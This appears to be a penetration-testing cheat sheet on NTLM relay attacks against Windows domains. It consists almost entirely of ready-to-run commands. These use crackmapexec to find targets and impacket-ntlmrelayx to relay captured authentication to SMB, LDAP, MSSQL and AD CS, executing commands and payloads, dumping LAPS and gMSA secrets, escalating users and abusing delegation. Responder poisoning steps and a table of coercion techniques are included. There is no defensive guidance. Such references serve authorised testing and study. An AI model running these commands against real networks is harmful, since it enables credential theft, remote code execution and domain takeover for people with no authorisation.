NTLM & Relay
NTLM Relay
NTLM relay attacks: ntlmrelayx, relay to SMB/LDAP/MSSQL, and delegation abuse.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
NTLM relay attacks: ntlmrelayx, relay to SMB/LDAP/MSSQL, and delegation abuse.
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# Connect: nc 127.0.0.1 11000
impacket-ntlmrelayx -tf targets.txt -smb2support -e payload.exe
impacket-ntlmrelayx -t ldap://DC_IP --delegate-access
impacket-ntlmrelayx -t ldap://DC_IP --dump-laps
impacket-ntlmrelayx -t ldap://DC_IP --dump-gmsa
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user targetuser
impacket-ntlmrelayx -t mssql://SQL_IP -smb2support -q "SELECT system_user"
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
| Method | Tool |
|---|---|
| Responder | LLMNR/NBT-NS poisoning |
| PetitPotam | MS-EFSRPC |
| PrinterBug | MS-RPRN (SpoolService) |
| DFSCoerce | MS-DFSNM |
| ShadowCoerce | MS-FSRVP |
1. Disable SMB/HTTP in Responder (Responder handles poisoning only)
2. Start ntlmrelayx with targets
3. Start Responder
4. Wait for auth → relay → profit
# /etc/responder/Responder.conf
SMB = Off
HTTP = Off
responder -I eth0
| Task | Command |
|---|---|
| Find targets | crackmapexec smb SUBNET --gen-relay-list targets.txt |
| Relay SMB | ntlmrelayx -tf targets.txt -smb2support |
| Relay LDAP | ntlmrelayx -t ldap://DC --delegate-access |
| Relay ADCS | ntlmrelayx -t http://CA/certsrv/... --adcs |
| Exec cmd | ntlmrelayx -tf targets.txt -c "whoami" |